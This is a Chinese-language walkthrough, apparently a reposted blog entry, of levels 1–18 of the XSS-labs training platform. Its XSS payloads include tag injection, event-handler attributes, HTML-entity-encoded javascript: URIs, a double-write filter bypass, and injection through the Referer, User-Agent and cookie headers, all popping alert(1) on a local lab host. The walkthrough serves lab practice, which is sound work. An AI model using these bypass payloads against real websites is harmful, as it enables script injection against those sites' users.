IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> JavaScript知识库 -> XSS-labs通关 -> 正文阅读

[JavaScript知识库]XSS-labs通关

XSS-labs通关

1.第一关

payload:

http://xss/level1.php?name=<Script>alert(1)</Script>

2.第二关

image-20211022164836223

这里变量出现在两处,我们直接利用第二处,做构造以及闭合

payload:

1"><ScRipt>alert(1)</ScRipt>

3.第三关

?

? 用第二关的payload去试一下,发现内容没变化,但是就是没当成js代码

image-20211022172007352

? 查一下网页源代码和php代码

image-20211022172038643

image-20211022172124350

? 看到使用了htmlspecialchars方法,它的作用是将特殊符号转换成HTML实体。那么什么是HTML实体呢?

? 说白了就是HTML为了防止特殊符号,如 "<"等,html当成标签

?

? 这时候我们的思路就尽量要绕开使用新标签,那么浏览器还有一些事件可以执行js代码,如onfocus,onblur,但是这两个是属于输入框在光标进入/离开时调用后面的js代码(可以用函数形式或者javascript:~~)

? 这里我用的是click,直接点击一下就可以了

payload:

    ' onclick ='javascript:alert(1)'//

4.第四关

同第三关(把单引号换成双引号)

5.第五关

script过滤了,onclick也过滤了

image-20211023180844252

image-20211023180935727

尝试构造a标签

"></input><a href='javascript:alert(1)'>asd</a>//

image-20211023181214313

5.第六关

同第二关

7. 第七关

删去了script,这个简单看看是不是过滤了一次,将script变成scrscriptipt

image-20211023150423071

成功,看来只过滤了一次

image-20211023150542588

payload:

1"><ScscriptRipt>alert(1)</ScscriptRipt>

8. 第八关

老规矩拿第6关的payload试验一下,然后看网页源代码

image-20211023150939801

上边过滤了<>特殊符号

下边在script中间加了个下划线

但是注意看下边代码再href里,哪还说啥了

我们这里只是想把href的内容变成javascript:alert(1),而不涉及标签的修改,所以直接编码绕过

image-20211023162403411

payload:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

9.第九关

先来波检测,填入它然后查源代码,看过滤情况

<>"'script onclick

image-20211023162613156

完BK,双引号和尖括号都给过滤了,但是下边发现了,您的链接不合法,那我填个合法的?

image-20211023163246074

那我再动动手脚

javascript:alert(1);http://www.baidu.com

还是不行

image-20211023163451280

那我编码呗(第八关的后边加个注释再加个网址)

==注意:==后边的//注释一定要加,不然它就驴唇不对马嘴,自然浏览器也懵逼,所以要把后边的网址注释掉。

payload:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://www.baidu.com

image-20211023164524602


10.第十关

? 还是’’ ’ >< script onclick测试一遍,发现只过滤了" 和<>,但是发现了三个隐藏的input,那么根据他们的name构造传值,让它们的type改变,不再隐藏,谁出来了谁就能利用

image-20211023181454854

t_link=" type='text'>//&t_history=" type='text'>//&t_sort=" type='text'>//

最后的那位出来了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rqOVXnIJ-1635070623127)(C:\Users\梦晨\AppData\Roaming\Typora\typora-user-images\image-20211023182012429.png)]

payload:

&t_sort=" type='text' onclick='javascript:alert(1)'>//

image-20211023182112868


11.第十一关

先来看下源代码,又有四个货隐藏了

image-20211023182211845

? 再来测下,发现还是t_sort不过双引号和尖括号被过滤,t_ref的值咋也变了,再仔细看下原来的,这不是第10关的网址吗?啊,懂了referer,那么就打开我亲爱的BP

t_link=" type='text'>//&t_history=" type='text'>//&t_sort=" type='text'>//&t_ref=" type='text'>//

image-20211023182334065

直接刷新一下加上referer

image-20211023183139998

" type='text' onclick='javascript:alert(1)'>//

image-20211023183151382


12. 第十二关

image-20211023183320860

这不就是UA吗,so easy,来吧还是得用BP改下UA,payload同第十一关

image-20211023183436050


13.第十三关

查源代码,多了一个cook,传个值

image-20211023183544397

给我整不会了,跟我玩呢?仔细想想应该目标对了,打开方式不对,cook,难不成cookie?再用BP试试

image-20211023183855365

还真是,

image-20211023184414456

image-20211023184206058


14.第十四关

一顿调试无果,上网一找,题有问题

瞎耽误工夫

image-20211023184842199


15.第十五关

查源码

image-20211023185231316

image-20211023185723863

包含外部的html文件?那这么说我把第一关的网址试一下

http://xss/level15.php?src=http://xss/level1.php?name=%3CScript%3Ealert(1)%3C/Script%3E

image-20211023190448416

尖括号被屏蔽了,而且我们不能构造出onclick等时间,因为你点谁去啊?但是我们可以构造个img,然后onerror方法,来尝试一下

xss/level15.php?src='http://xss/level1.php?name=<img src=asd onerror=alert(1)>'

image-20211023191104705


16.第十六关

老规矩

xss/level16.php?keyword=“ ‘ <> script onerror  onclick

image-20211023203411562

过滤了script和" '还有空格

尝试加个a标签,空格用回车编码代替,点击图片过关

<a%0D%0Aonclick='alert(1)'>

image-20211023204006325


17.第十七关

源代码,这个embed是什么?

image-20211023204611524

呵呵了,Firefox是能支持,查了需要插件,那我就换成谷歌吧(图片截错了截图成18关的了,不过17和18是一样的payload)

image-20211023204358960

123 onclick='alert(1)'

成了是成了,但是点完没法应可能跟调用失败有关吧,那就换个方法

image-20211024145023414

换成了onmousedown

payload:

123 onmousedown='alert(1)'

18.第十八关

同第十七关


(19和20涉及到反编译,等我升段之后再更)

  JavaScript知识库 最新文章
ES6的相关知识点
react 函数式组件 & react其他一些总结
Vue基础超详细
前端JS也可以连点成线(Vue中运用 AntVG6)
Vue事件处理的基本使用
Vue后台项目的记录 (一)
前后端分离vue跨域,devServer配置proxy代理
TypeScript
初识vuex
vue项目安装包指令收集
上一篇文章      下一篇文章      查看所有文章
加:2021-10-25 12:26:58  更:2021-10-25 12:29:17 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 2:14:57-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码